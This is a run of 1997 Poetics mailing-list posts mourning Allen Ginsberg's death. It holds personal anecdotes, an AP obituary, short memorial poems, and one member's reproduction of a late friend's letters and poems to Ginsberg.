when i tried to play it again the tape began to self-destruct, but i did manage to transcribe Allen's intro to the poems:

"1976--On the death of my father, Louis Ginsberg, who was a poet...who was a considerably gifted lyric poet...& for the 10 years before he died, at the age of 80, I gave poetry readings with him & we were relatively close. He died of cancer in 1976, in a relatively philosophic mood, without much pain. So these are a few notes & a song written during his illness & after his death. He was a high school teacher & he used to teach Wordsworth...and, uh, Poe. So I've learned a lot of poetry from him..."

[reads sections 3&4 of "Don't Grow Old"] (Even on this very poor tape, his wonderfully warm, expressive, charismatic, humorous, playful voice comes over.)

III.

Wasted arms, feeble knees
80 years old, hair thin & white
cheek bonier than I'd remembered--
head bowed on his neck, eyes opened
now and then, he listened--
I read my father Wordsworth's *Intimations of Immortality*
[Allen reads following quote w/ deep and comical sonority]
"...trailing clouds of glory do we come
from God, who is our home..."
"That's beautiful," he said, "but it's not true."

"When I was a boy, we had a house
on Boyd Street, Newark--the backyard
was a big empty lot full of bushes and tall grass,
I always wondered what was behind those trees.
When I grew older, I walked around the block,
and found out what was back there--
it was a glue factory."

[as read, father's story hits quite funny note of anticlimax, audience laughs--
Allen helping them to see this humor even in death]

IV.

[Reads opening question w/ great, childish credulity]

Will that happen to me?
Of course, it'll happen to thee.

Will my arms wither away?
Yes yr arm hair will turn gray.

Will my knees grow weak & collapse?
Your knees will need crutches perhaps.

Will my chest get thin?
Your breasts will be hanging skin.

Where will go--my teeth?
You'll keep the ones beneath.

What'll happen to my bones?
They'll get mixed up with stones.

[Goes on to play & sing "Father Death Blues"...]

Steve Shoemaker

Steve Shoemaker

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135. George Bowering
Re: Allen Ginsberg (1926-1997)
Sat 5 Apr 1997

> *Piping down the valleys wild*
> *Piping songs of pleasant glee*
> *On a cloud I saw a child..*
> *And he laughing said to me.*

etc.

Charles, I am glad that you quoted that poem. I have been today and yesteday trying to call up all my Allen memories since first talking with him on his return from Asia, 1963. And you reminded me of the time I drove Allen westward thru the streets of Montreal, probably 1969, and he sat beside me and sang that song, pumping on that weird meoleon or whatever it was from India. so I veered off the street and took him and banged on F.R. Scott's door, and introduced the 2 poets, and Frank made one of his famous martinis for us, and I do believe that AG drank his, too.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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136. shoemakers
ginsdead.htm
Sat 5 Apr 1997

April 5, 1997
Beat Poet Laureate Ginsberg Dies

NEW YORK (AP) -- Allen Ginsberg, the poet laureate of the Beat Generation whose writing and lifestyle shaped the music, politics and protests of the next 40 years, died this morning. He was 70.

Ginsberg died in his Lower East Side apartment at 2:39 a.m. of a heart attack related to his terminal liver cancer, said Bill Morgan, his friend and archivist. The poet was surrounded by family and friends.

Ginsberg suffered from chronic hepatitis for years, which eventually led to cirrhosis of the liver. His diagnosis of terminal liver cancer was made eight days ago and made public on Thursday. He suffered a stroke Thursday night and slipped into a coma.

Ginsberg has spent several days in a hospice after the diagnosis, but then decided he wanted to return home.

``He was very energetic,'' Morgan said. ``He wore himself out (Thursday) talking to friends and writing poems.''

He wrote about a dozen short poems on Wednesday. One of the last was titled ``On Fame and Death''; others ran the gamut from nursery rhymes to politics.

During the McCarthy era in the 1950s, when TV's married couples slept in separate beds, Ginsberg wrote ``Howl'' -- a profane, graphic poem that dealt with his own homosexuality and communist upbringing.

``I saw the best minds of my generation destroyed by madness, starving hysterical naked, '' began the seminal ``Howl.'' It was dedicated to Carl Solomon, a patient he met during a stay in a psychiatric ward.

Ginsberg became America's most popular and recognizable poet, his balding, bearded visage one of the enduring images of the 1950s beatnik explosion of Jack Kerouac, William S. Burroughs and Neal Cassady. The group, disillusioned with conventional society, created their own subculture.

Ginsberg's acolytes comprised a who's who of pop culture: Bob Dylan, Yoko Ono, Vaclav Havel, Patti Smith, Michael Stipe and Billy Corgan.

Irwin Allen Ginsberg was born June 3, 1926, in Newark, N.J., the second son of poet Louis Ginsberg and his wife, Naomi. The family moved to Paterson, N.J., while Ginsberg was a youngster.

Ginsberg intended to become a lawyer and enrolled at Columbia University. But while still a teen-ager, he fell in with a crowd that included Kerouac, Burroughs and Cassady -- the leaders of what became known as the Beat Generation.

``I think it was when I ran into Kerouac and Burroughs when I was 17 that I realized I was talking through an empty skull,'' Ginsberg once said. ``I wasn't thinking my own thoughts or saying my own thoughts.''

Ginsberg's first taste of notoriety came after the publication of ``Howl'' in 1956. Copies of the book were seized by San Francisco police and U.S. Customs officials, and publisher Lawrence Ferlinghetti was charged with publishing an obscene book.

Ferlinghetti was acquitted a year later, but the case generated enormous publicity for Ginsberg and his work. Ginsberg was suddenly in demand.

One of his other great works, ``Kaddish,'' was a confessional work dealing with his mother's life and death in a mental hospital. It was written, stream of consciousness-style, in his Manhattan apartment, fueled by a combination of amphetamines and morphine.

Ginsberg experimented heavily with drugs, taking LSD under the guidance of the late Timothy Leary in the 1960s.

As he grew older, Ginsberg became a guru to the counterculture movement. He coined the term ``flower power.'' He was arrested in 1967 for protesting against the Vietnam War in New York, and tear-gassed a year later while protesting at the Democratic convention in Chicago.

His National Book Award came in 1973 for ``The Fall of America: Poems of These States, 1965-1971.'' He was a finalist for a Pulitzer Prize in poetry in 1995 for his book, ``Cosmopolitan Greetings: Poems 1986-1992.''

Ginsberg toured with Dylan's Rolling Thunder Revue in 1977, doing spontaneously composed blues poems. He toured Eastern Europe in 1986, receiving an award in the former Yugoslavia, recording with a Hungarian rock band and meeting a congress of young Polish poets.

``In the Eastern bloc, the people realize the governments are up to no good, whereas Americans still maintain that the government is looking after their best interest,'' Ginsberg said at the time.

Ginsberg remained vital and active well into his 60s, performing in Manhattan nightclubs and doing poetry readings. Last year, he recorded his poem ``The Ballad of the Skeletons'' with musical backing from Paul McCartney and Philip Glass.

He did a video version of the poem, a pre-election political rant. At 69, Ginsberg's video appeared in heavy rotation on MTV's ``Buzz Bin.''

The funeral will be private. In lieu of flowers, donations should be sent to Jewel Heart Buddhist Center in Ann Arbor, Mich.

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137. **nuyopoman**
Allen Ginsberg's Death
Sun 6 Apr 1997

Tonight at War Resister's Benefit, Grace Paley tells wonderful AG tale, as does David McReynolds, a story of AG at Gem spa, walking out w/ Sunday (appropriately) Times, into a sidewalk junky drama, defused with the offer of a fig newton... Kimiko Hahn reads "tomb" section of Moloch/Howl... David Henderson reads Bob Kaufman's "To Ginsberg Allen" from SOLITUDES CROWDED... I read "Nazi Capish" (from new Longshot), new verses "Amazing Grace," "After Lelon," "Ballad of the Skeletons," and as benediction (we were gathered at Washington Square Church), "America" end, starting with "America you don't really want to go to war." It was a great place to be tonight. WRL is 75 years old next year.

All day swamped with grief I just sit, all day swamped with grief. Allen, the great orchestrator, has outdone himself with his passing.

BobH

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138. **Schuchat Simon**
Allen dead
Sun 6 Apr 1997

Summer 1975, I've just moved to New York, with roommate Steve Hamilton go to call on Allen since we're living in the poetry fortress, 437 E. 12th Street, where Allen also lives; we sit in the kitchen and, among a variety of topics, Allen tells us, "you can never experience your own death"

what an awful feeling now, so strange to think of him gone

↑ Index

139. **nico vassilakis**
eternity queueing
Sun 6 Apr 1997

o
i'd l ike t o to
t
h r
r e
o w
w o

a l
f

from here
goodbye allen ginsberg
goodbye paterson and so many things
hello everything hello

↑ Index

140. Joseph Zitt
Re: Allen Ginsberg's Death
Sun 6 Apr 1997

[redacted] wrote:

> *Tonight at War Resister's Benefit, Grace Paley tells wonderful AG tale,*

All of yesterday and today at the Austin International Poetry Festival, people have been performing pieces for and about Ginsberg (Friday in honor, Saturday in memory). I heard about a wonderful event that erupted at one venue, where various parts of the audience got into chanting sections of his name while other recited bits of his poetry.

My group will be performing "Hum Bom" tomorrow night -- we had been thinking of retiring that piece, but it seems appropriate to do it one more time. --
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ===== [redacted] ===== Human Systems \||| ||/ Austin, Texas! ========== SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == Empty Words == ecto \|

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141. Maria Damon
Ginsberg
Sun 6 Apr 1997

first time i met ginsberg 1977 he told me how great peter was in bed and quoted the tempest to me. (he was making chicken soup with grapes; i sd, that looks pretty potent, he sd, this so potent magic i do abjure, what's that from. i sd tempest, he sd any student of the tempest is a friend of mine, and are u related to s foster damon. no, i sd, it used to be diamond, i'm half jewish. why only half he sd.) later that summer i spent a few minutes in bed w/ him before i bailed. the last time i saw ginsberg 1996 was at St Marks do for Bob Kaufman. we both presented stuff along w/ many others. (i'd had many encounters w/ him in between, and often he seemed petulant and distracted as i was awkward around him and not of the right gender for commanding his attention. one time

i wove him a white silk opera scarf. when i gave it to him he sd what's an opera scarf, i sd it's what they all wear in proust novels, so he seemed happy with it or at least gracious about accepting it.) so, last time i saw ginsberg about a year ago after the kaufman evening's ceremonies i pulled him aside and said, allen i want to tell you something i think you would understand. when i saw bob kaufman's ashes i put some of them in my mouth. he said, yes, that's a very common understandable impulse, eating the ashes of the dead. he was nice, tender as he'd been all evening when recounting tales of kaufman, not petulant and distracted but patient and kind, i thought, he knows he's going to die soon, that' why he's being so nice. then ira cohen? or someone? snapped a photo of us that i would love to have. just last week i was at the ginsberg archives at stanford looking for kaufman stuff, and found some.

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142. Loss Glazier
Ginsberg
Sun 6 Apr 1997

Dear Poetics: We are working on an EPC Ginsberg page related to these posts. (We'll have a link there to the cyber renga page, when I get the URL for that.) Short pieces posted to Poetics will be considered for the tribute compilation; you do not need to send a duplicate of posts to me. If anyone has longer pieces, poems, essays, etc. they'd like to have on the Ginsberg page, please let me know at [redacted] Also, we're in great need of photos! Please contact me if you have any photos we can borrow for this tribute. More news on this but NOT until week after next. Thanks, Loss

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143. Joel Kuszai
Re: Ginsberg
Sun 6 Apr 1997

---

in the interest of salvaging the memory of lesser-known poets, here's goes something that I have been thinking about posting for some time--

I met Chris Ide [1966-1994] when we were first year
students at Michigan State University. After departing our
first class, Barry Gross' freshman english major required
"Intro to the Study of Lit," we went immediately to a
coffeeshop where we had a cup of coffee (my first, although
it seems hard to imagine now) and discussed poetry, punk
rock, and god knows what else. We became instant best-
friends and spent a lot of time together reading, writing,

talking talking talking and also as young boys are wont to
do, drinking and expressing the adolescent ennui of that time
in life. We shared a common background in high school
introductions to poetry and it was, as has been discussed on
this list, the role of the normative-making english teacher
who, as if in some sly signal to a radical past, taught
Ginsberg's poetry as if it were a forbidden text that was only
to be given to truants, drifting creative types, etc. Much of
the ginsberg/beat nexus materials existed in my high school
library, although often edited through torn-out pages. We
found--at a hipster bookstore that was one of the original
Borders client stores--everything that we needed.

Although I first read him in high school, Chris Ide was my introduction to Ginsberg, whom I was fortunate to have had the opportunity to speak with on a number of occasions. We had a number of interactions that were often quite humourous. I once wrote him an angry letter complaining that his tour through Portland in 1990 was too expensive for a poet to attend (it was $15) and that he was becoming a rockstar/media celebrity and was out of touch with young poets. I was astonished with one of my housemates handed me the phone a week later, saying "it's Allen Ginsberg." He was calling to apologize and offered me free tickets to the reading! In Boulder, 1991, I cornered him at one point asked him why he didn't appreciate Oppen's poetry, at which time he told me that he knew and liked George, but that he never understood his poetry. This blindness, on Allen's part--his inability to read beyond a certain canonical set of texts (I have a copy of an anthology he prepared for a summer session, "Photographic Poetics" in which cubo-futurists and other kinds of European avant-garde works are included but American experimentalists are mostly absent, for obvious reasons, such as his Steiglitz influenced notion of photography)--this limitation is really the great problem with people, like my friend Chris Ide, who become swept up in the greatness of the man and the greatness of the great man theory of literature. While as a poet I think I have learned a great deal from Allen Ginsberg, I have also been led to things that he would never have approved of--and Oppen and Zukofsky are examples of this, or the Creeley of the 70s--etc. This rejection of Allen was an essential part of my growth. [and you can get all crazy about that anxiety game, blah blah blah]

My friend Chris really found a friend in these limited ideas of
what a poet was or what a poem should be or look like.
Also, for Chris, the lifestyle promised in the pages of
Keroac's novels or in some of the surrounding mythologies
was dionysian and ecstatic harmony with love and the muse,
in which people are always young and their bodies as crisp as

the teenager who sleeps for hours as if to rest for the inevitably of an eternity. Chris found himself at age 18 attracted to boys of that age and younger and as he got older this became "an impossible love," which as in the Williams poem, "which has no hope of the world and cannot change the world to its delight" (I think it is the poem "Rain"?). Lately, through reading Paul Goodman's writing, I've been returned to these dilemmas of impossible love which terrorized Chris.

When Chris died in 1994, he was in recovery from years of methadone treatment for his addiction to heroin. Even while on methadone, he relapsed several times. He had been clean and relapsed. Going immediately to a hospitcal in Chicago, where he was living, he was treated and released. Scheduled for a trip to a rehab center outside of the city the next morning, by agreement he went back to his room in a kind of home for recovering addicts. On the way, he gave in and stopped in Wicker Park to buy a bag, which he snorted when he got back to his room. He had stumbled onto some "bad stuff" that hit the city at that time, killing a dozen or so people within a week. A friend, came to get him in the morning, to go to the clinic. When he didn't respond, his friend (who happened to be African American) asked the person at the door to let him into Chris' room to see what was the matter, alerting the doorperson as to the emergency. He was told (in effect) that because he was African American he wouldn't be admitted to check and see. When family finally intervened and he in his room was found, it was too late. The coroner reported that Chris spent many hours in a coma before passing and that in the morning when his friend to get him, he was probably still alive.

Until yesterday, I held Allen responsible for Chris' death. I could go into this in some detail, and it involves Ginsberg sending Chris money at inopportune times, etc. With Allen being gone, I felt that a bit of Chris was even further from earth than when he left. Ginsberg was a champion of his work, which remains unpublished (although underground beat zines have published a few and I think that Lee Renaldo's magazine was going to).

I felt and still feel enormous guilt about Chris Ide's death myself. He saw me as entirely academic, I think, and he

completely misunderstood the passion required to keep it together in grad school. I don't think he really ever understood why I felt I needed to deal with school seriously, and he never really appreciated the kinds of texts I produced, although I know that he appreciated and loved me. The poems he wrote are of interest to me in a way that I can't really describe.

What follows are the first letters that Chris wrote to Ginsberg in the Fall of 1985 and a couple from the Winter and Spring of 1986. They are photocopies that Peter Orlovsky sent to Chris' sister, and I have them on loan from her. The originals would probably be at Stanford. If anyone is interested, I will send more back-channel, as they are a real social document. There are letters and postcards through Spring of 1993.

CHRIS IDE
557 [street address]
E. Lansing, MICH 10/31 [1985]
48823

Allen,
I'm drunk, have just read the Kaddish and cried. I'm not at home, found it in someone's bedroom, and after reading I just had to write. I always cry when I get to the part of you being 12 yrs old. I'm in love with that Allen Ginsberg, the one that followed R-- to college. I wish I would've known you when 12. Could've had love then. Now 18, loveless, lonely, are you? Did you get last letter? Please write me back sometime, Allen, I would be touched. God, I'm getting drunker, refuse to change paragraphs. This letter probably pathetic, but I'm going to send it anyway tomorrow. Allen I just read "Many Loves" today for first time and was deeply affected close to tears in the desensitized library. I think I love you Allen, don't know how, please don't file me away as another young poet scribbling bullshit kiss ass note to you; there's more, sweet Allen. Yes, I hve just read letters between you & Neal, finished today, depressed, I lay on couch all day thinking of you. I must talk to you, for real, someday. Do you remember talking to me in Ann Arbor after your reading? Talk of dreams of you & of love strangers. Anyway, I'll mail this drunken note tomorrow to

you c/o Naropa and I beg that you might write back. Oh god, I am so lonely and sad, in love with the young Allen Ginsberg whose picture from, say, Jack's book, or young Empty Mirror photo I long for. Oh same older wiser but just as Sweet Allen please write to this weak sad young admirer lover poet, I wait.

Love, Chris Ide

1/23/86 11:59pm

Allen--
Maybe you're in Nicaragua now, but I thought i'd take the time to send these poems off to you. Particularly the one that begins with a quote of yous (hope you don't mind). This poem attempts to explain the debt I owe you; how much you've affected my life so unknowningly, maybe just by trying to live yous. Anyway, if i'm ever able to express that debt to you, through my poems, then all of the futile scribling will have been worth it I spose. Anyway, hope to see you before "time," before that "final spontaneous leap." Write if you have a chance.

another thanx,

-- Chris Ide [1]

2/14 1:46pm

Allen,
Happy valentines day! May the ghost of Rimbaud come kiss you sweetly.

Can't tank you enough for sending poems to David Cope-- he liked 'em, wrote back + is printing "cuz I don't know." You don't know how encouraging that is to me. My biggest problem is that I don't hae anyone here whose aesthetics I'm in total agreement with. I have a class w/ Diane Wakoski, who I owe a good deal + trust to an extent -- but she's an admitted Apollonian + is quite critical of mentioning the actual composition of a poem, inside the poem. I've been doing this constantly, and probably always will to some extent--dunno if I can help it, or if I should try to. Seems to me if a poem is merely a hunk of a day, it'll pint a finger at the eternal w/o even trying. Revision is cheap, but revision of the Truth is downright *sleazy*! Sometimes I re-weave things and even though it might make for a

better poem, I never feel as good about it. It just that typical ... [words unreadable, end of page].

I dunno-- I just want someone to point a finger + say "You are a poet!" so I can settle down a bit.

Enclosed a couple more poems for you to glance at. Sent more to Cope also. A couple of them I am fairly happy with, but it always seems to me that there's a whole side of of me that doesn't come through i.e. the side that is miserable + falls in love with beautiful unobtainable boys--no otther sorrow like that!

Hope you are well
in the east--
Chris

4/16/86 Chris Ide
[address]
E. Lansing, MICH

Allen,
This another drunk note, but no regrets this time--whatever's said is meant. No answer to my last letter ('round valentine's day)--I know, you're busy, but if possible would you send at least a postcard answering this?

Appreciate much your giving me Cope's address & mailing my poems to him--have written quite a few times w/ him + am visiting him this weekend--a great poet & a great guy!

I was supposed to be goign to Paris in August, but international travel is looking worse & worse, as is most everything politically, and i'm thinking more & more of Naropa Summer session. Am writing to them for $ info. but Cope says I may want to just stay w/whoever I can in Boulder and pick up on the scene as it happens--what do you think? This sounds fine to me, but i'd like to be able to pick up on whatever you're offering--what're you teaching/lecturing on & would I be able to sit in on things if not enrolled in session? Basically what i'm asking is will I be able to see & spend time w/ you--should I enroll or just be in Boulder, etc. -- whadda you think as you're the main reason i'd attend?

Here are a cople more poems, please anser if you've time--
Chris Ide [2]

5/7/86 10:30 am

Allen,
Thanks for the kind words on the poems I sent--
encouraging to hear! Here are a couple more--don't bother
making specific comments on each when you're
exhausted/busy etc., I just like for you to be able to read
'em. As far as sending stuff to NYZ & Paris Review &
telling them you suggested to--I haven't done so yet, only
because I thought it'd sound like a fishy brag or something--
I mean, I think it's fine for a knowledgeable poet to suggest
the work of a youngster, but when the youngster's the one
to relay the message, I dunno, I can just see editors sniveling
at it. Maybe i'm just being stupid, in which case tell me & i'll
go ahead & seend the poems + suggestion out. As far as
NYQ--i've been rejected twice by them & D. Cope said in
his last letter that he was going to try them for me (after
he'd just succeeded in getting a couple more things in print
for me: _Action_ (you know Jim Cohn, right?) took 2
poems. Just let me know what I should do about sending
that stuff out.

I'll get together a batch of poems like you said, & will
bring 'em to Boulder this summer--the plan now is to
attend 1st week of classes, then stay a week or so w/ friends-
-(maybe even arrive a week before classes start)--I'll bring
the poems & you can see what you think we can do w/ 'em.
When do *you* arrive & how do I get in touch w/ you?

Well, all right for now--here's another pic (I hope)--let
me know what to do on sending stuf out etc.--Chris

You off cigareets yet?
I've been slowing way down on drinking, "the old screwy
love,"--when's _White Shroud_ coming out?

---

[1] this letter contained poems, including:

"I need a bed to sleep in, a grave to rest my ashes,"
sings Allen Ginsberg, American Poetry Review December '85
58 years old now, our Whitman
he too will leave behind the earth madly spinning
will take that final spontaneous leap, to where Jack Kerouac
lies down eith the jazz/blues of the earth

will leave behind those of us whose throats are sore
  from tying to find our voices.
Meanwhile, "Howl" is required reading in English 453
and we discuss the "beat generation" as if it were
  some sort of baseball game
"Did Ginsberg get a hi? Kerouac slide into home?"
In the classroom we liten to a cassette of Ginsberg
      reading "Howl"
no one runs around the room in tears
nothing but blank faces behind desks so that i'm almost
embarrassed
  until the ghost of Jack Kerouac appears rolling around the
  front of the room with a pint of rotgut, laughing.
"I saw the best minds of my generation destroyed"
by fear of nuclear devastation
tongues drenched with surrealist budwiser escapism
guts all aflame with the six o'clock news
whose poetry reviews seeped flowery academia--
who'll wear Rimbaud's pants?
  All of you grad school poets
clutching unpublished manuscripts
let's drop out of the New Yorker world series
  and sing in the romantic unpublished streets.

1/23/86
---
[2] this letter also contained poems, including:

      What will *you* do with the rest of my life?

I confess that I haven't the urge to work with hand or foot
in order to prove myself to the planet or bank.
Isn't it enough that I vow to beat my chest & yell
for love, an humanity, and all of these four letter words?
It's true my hands are lazy--my heart is not;
I believe that the tree is there to lie beneath;
notice the way the fruit falls without a single plucking finger?
Flat on my back, that'll do,
let the heart slave over the problems of the sky;
the stars are arithmetic enough for me.
But no, each time the grass accomodates me
I wake to the hounds of reality sniffing at my anus.
"I don't see any want ads for poes,
do you wanna be a dishwasher all your life?

Dishwasher/poet, it's not so bad a title,
a drifter, the parents'll say.
But don't they see that they too drift
towards that place where no dishes are washed?
The whole planet adrift in fact--
what a creaky futile barge it becomes
with Reagan clutching silo shaped oars
and you, you have the nerve to ask
"What will you do with the rest of your life?"
I was about to ask you the very same question.

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144. Andrew D Epstein

Re: Ginsberg

Sun 6 Apr 1997

From Ginsberg's elegy for Frank O'Hara:

I want to be there in your garden party in the clouds
all of us naked
strumming our harps and reading each other new poetry
in the boring celestial
Friendship Committee Museum.
You're in a bad mood?
Take an aspirin.
In the dumps?
I'm falling asleep
safe in your thoughtful arms.

"City Midnight Junk Strains"

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145. Alan Jen Sondheim

for AG

Sun 6 Apr 1997

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146. **sschu30844**
Re: Allen Ginsberg's Death
Sun 6 Apr 1997

I met Ginsberg briefly in an airport van at the end of the Orono poetry conference; we were wedged up against each other, hardly a space in which to breathe. He asked what I'd been speaking on and when I said that I'd given a talk on Hart Crane he said how much he loved Crane's work. Then, that he had his Naropa students read "Atlantis" out loud because the movements of the mouth while reading that poem were so like those of cock-sucking. I've never quite known how to take that remark, though I choose to think of it as representing the words of a man for whom nothing was shameful. He had been a very generous presence at the conference, seemingly in attendance everywhere.

Susan

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147. **Burt Kimmelman**
Re: Allen Ginsberg's Death
Sun 6 Apr 1997

Bob Holman's remark that Ginsberg was the great orchestrator quintessentially describes my favorite memory of AG.

I think it was 1966. I was home from college and hanging out in Washington Square Park in NYC. All of a sudden some people started cheering and otherwise celebrating, shouting that "The War Is Over." People around the park took up the mantra; very soon hundreds of us, with Ginsberg and Corso in the lead, starting marching up Fifth Avenue. As we exited the park, cheering continuously "The War Is Over," people of all kinds, dressed all ways, and of all ages joined us. I remember seeing two middle aged guys greeting each other on the edge of this crazy parade, shaking hands and joining up as they were laughing out loud, obviously enjoying the wonderful pranksterish seriousness of the spontaneous occasion, saying to each other in unison, "Hey the war is over!" By the time we were approaching 14th Street we were at least a thousand strong. The police, for whatever reason, did not try to stop us. We kept on, with these two zany poets in the lead, until we got to 42nd Street, now in the multiple thousands. There, like two possessed visionary field marshalls, the two, conferring at the tops of their lungs, decided to split up, the one leading those who would follow to the United Nations, as a final destination, the other, Allen, to Times Square.

I followed him. It was a rainy day, kind of gray, but it was a day of wildly unfounded, Surreal optimism. It was a moment of genius, flamboyance, and lyricism. It now sums up his poetry for me. As Charles B has said, how can one imagine life without Allen?

I always found him incredibly generous. He (and that day Corso) was a role model. I remember talking with him some decades later at a poetry function at the MOMA. Our paths had crossed numerous times, but he was someone who met so many people in so many places, for so long. If he would recognize me he didn't go out of his way to show it. Yet over wine and cheese we talked at length that night about various things. He was someone who, it struck me after that night, never wasted a moment of life. He was incredibly smart and interested in EVERYTHING. And he was incredibly gentle. I could go on. I last spoke with him some few years ago at the Orono conference already mentioned here on this list. I came up to him to ask him for some work for Poetry New York. I allowed as how I might be bugging him, but he was quick to point out that, no, as an honored guest, that was his job, to hear me and others like me out.

He understood who he was. It was I who was still trying to comprehend the meaning of him. Yes he has been part of the fabric of my life.

Who will ever read and sing Blake for us again?

Burt Kimmelman

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148. Steven Marks
Re: Ginsberg
Sun 6 Apr 1997

Howl, howl, howl!
I know when one's dead and when one lives.
Pray you undo this button on my fly
I heard buzz when I died.
Thank you, sir.

Steven Marks

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149. **Don Cheney**
First Typo, Best Typo
Sun 6 Apr 1997

Today's Sunday LA Times has a wonderful typo. They printed excerpts from several poems including this from "America":

> I have mystical visions and comic vibrations.

Told you he was a funny guy.

Don

==========
Visit Don Cheney's Home Page & Clean Neck Shop
http://www.geocities.com/Paris/5791
==========

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150. **Marjorie Perloff**
Re: Allen's death
Sun 6 Apr 1997

A number of listmembers--Joe Amato, Norman Finkelstein, Cole Swensen, and I were in the middle of a conference in Denver--a conference on relation of poetry to theory--when the news came in that Allen had died. It was truly heart-breaking. I thought immediately of the wonderful way Allen read the lines "To die in Denver...." from "Howl" and of the last time I saw Allen, which was appropriately in a California Supermarket--Gelson's in Pacific Palisades. I was approaching the deli and there was Allen with Stan Grinstein, the art patron, with whom Allen was staying for the Burroughs festival. We were happy to see each other and wandered around the gorgeous store and when we got to the bakery Allen said, "Marjorie, don't tell anyone you saw me in this FANCY grocery store!" But he was half-kidding. It was shortly before his 70th birthday and he was in good spirits and was having dinner with Dennis Hopper.

It's a nice memory of someone I always found totally endearing--the way he CARED about his work, your work--everything that was happening...

Marjorie P.

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151. henry g
my Ginsberg story
Sun 6 Apr 1997

Unlike these other storytellers, I never met Allen Ginsberg, though my (ex) father-in-law John Tagliabue was at Columbia with him & is a sort of Italian-American Maine Shelleyan straight academic double - both of them from north Jersey (Tagliabue's dad was a chauffeur & restaurant owner from Cantu, near lake Como - he himself was born there) & some similarities in their approach to poetry (exuberant, against revision & wasp-anglo refinement, & WHITMAN & China & buddhism) in fact John Tagliabue is another of those poets out there. anyway, this was early 1970s, I was hitchiking around in a sort of private-early-Xtian-gnostic daze, having dropped out of college... was in SF., had just had my guitar stolen & the back of my head bashed in by a huge enormous fat Hells'Angel at the stage door of a Dead concert, where I had gone with my old high school buddies TOM DAVIS & AL FRANKEN of soon-to-be SNL fame... anyway, I was somewhere in SF & met this young Ginsberg protege who had just come out there from NY, he was dressed in a buddist toga type thin g & sandals & carrying a sheaf of poems... told me he loved Ginsberg & followed him around (I thought...poor Ginsberg) & he was heading up to the bookstore, so I tagged along... we got to City Lights, which was closed & he started calling out in this pitiful tone, "Allen...Allen...Allen..." up to the 2nd floo r window - no response. After some time I said to him, hey, why don't you just take these poems and make paper airplanes & THROW them into that window. So we did. & we were able to land some right through the 2nd floor window. My compadre kept moaning out, "Allen...Allen..." & finally 2 heads popped out the window - Ginsberg & Ferlinghetti. They looked at us & smiled for about a minute, didn't say anything - then went back inside. My ever-hopeful poet-pal resumed his mournful calling... so I bid him farewell & headed on my way. What else happened in SF? I played guitar at a healthfood restaurant & made a few bucks. A guy in a very large pink cadillac convertible offered to show me around town, & he did show me Columbus Park at sunset which was lovely...but he was trying to make me while I tried to convert him to my version of Xtianity, so we bid each other farewell... next day I hitched out toward Salt Lake City - that was my 1st & last visit to the beautiful city of SF where I spoke with Jerry Garcia, had my head bashed by a NY Hells Angel, goofed around with the head honchos of the HA Rotary clubs (it was a national convention they were having there at the Dead concert), met a Ginsberg acolyte, met a denizen of that fair city, played my other guitar, & caught a glimpse of Allen Ginsberg.

Some of us inhabit the interstices between
the road & the roar there's
St. Francis on the roof

with three sparrows & Martin Luther King (29 yrs before)
black milk we drink you today, tomorrow
we'll be singing again we'll be singing again we'll be singing again

breathe deep it's the whale, it's the trumpets in the sky

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152. Michael Magee

Re: Ginsberg

Sun 6 Apr 1997

I thought it might be nice to hear something about Ginsberg from a younger/ new list member, so, here goes: I met Ginsberg I guess about two years ago now when he came to read "Kaddish" at Penn, for the first time in awhile as I understand it. By a mix-up which left him without someone to drive him to Penn Towers and his hotel room, I got a chance to meet him. Bob Perelman and I took him to the hotel and Bob had a class to get to so I walked him up. His heart condition kept him from carrying his own bags and I think Bob thought he might drop dead. There had been some talk about whether he'd even be able to read that day. At the hotel counter he asked for two keys, then held one up at me and said jokingly, "For some lucky boy later." It didn't seem directed towards me or, really, anyone - a kind of nod towards days gone by or a playful attempt to agitate the guy at the counter. He seemed, despite the gesture towards his sexual gamesmenship, a gentle old man. He was very kind, asked me whether I was a poet, what kinds of poems I was writing, who I liked, what my academic work was about, etc, all with a sense of genuine interest, it seemed to me. In the elevator we got into a conversation about Lowell. He told the story of how Lowell came to hear him read "Kaddish" at Harvard (1958, '59?). A third of the way through the reading Lowell got up and left - Ginsberg assumed it was a snub and felt bad about it for years, until 1976 when he decided to ask him about it. They were reading at the 92nd St. Y and Ginsberg asked Lowell why he'd walked out. Lowell said he had been sitting in between several Harvard bigwigs who he knew and had started to cry uncontrollably. Embarrassed, he got up quickly and left. Ginsberg then said he always liked Lowell which surprised me for a moment, thinking of battles between camps, etc, but just as quickly made alot a sense, since it didn't seem just then like this guy standing with me in the elevator could dislike anyone. I brought his bags into his room. He seemed tired and said he better get some rest. I thought of having him sign my Collected Poems which I had in a backpack, but didn't. I had a weird, morbid feeling that I might be the last person to see him alive. Later he read "Kaddish" very beautifully. No idea whether this will sound familiar to anyone but, great poet and poetry aside, I've had a lasting affection for the guy ever since.

-Mike Magee

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153. Poetics List
Forwarded mail....Re: Ginsberg
Sun 6 Apr 1997

---

sent by mistake to poetics listowner address...

---------- Forwarded message ----------
Date: Sun, 6 Apr 1997 06:58:03 -0700 (PDT)
From: Jamie Reid <[redacted]>
To: [redacted]

Allen Ginsberg, our great poet and teacher, this saint and holy madman, has died. I first heard of his illness last week without hearing any details, and thought, oh, he will still be with us for years yet. Then George Stanley told me last night that he had been diagnosed with incurable cancer. Together we discussed the need for Vancouver poets to come together and write to him in his extremity expressing our undying gratitude and appreciation for his great life.

This afternoon, I spoke to George Bowering on the telephone to begin this process, and George told me Allen had died during the night, and now it is too late. He had been scheduled to read in our city on the very night that he died, but the engagement was cancelled because of his illness, and now we will never see him in the flesh again.

He had not visited in our city for many years, and all of us, including a whole new generation of young people who remain interested in his work and vision were looking forward to seeing and hearing him again. The last time I saw him in the flesh and talked to him was in 1963 at the poets' conference here. My wife and I and some friends took Allen on the Grouse Mountain chairlift for an outing. I the day as one of the most beautiful of many beautiful days that summer. Allen carried with him a set of thumb cymbals, which he beat together prayerfully as the chairlift slowly ascended the mountain, delivering us an exalted view of the ocean and the city. I am not at all religious, but Allen was able to inspire in me a sense of the tremendous beauty of the world and the cosmos, and of human beings which has never left me. I don't often speak of the soul, it's something that I barely understand, but the human soul and its universal quality of love was always the substance of Allen's discourse, so I am free to do so today, and I have Allen to thank for this freedom.

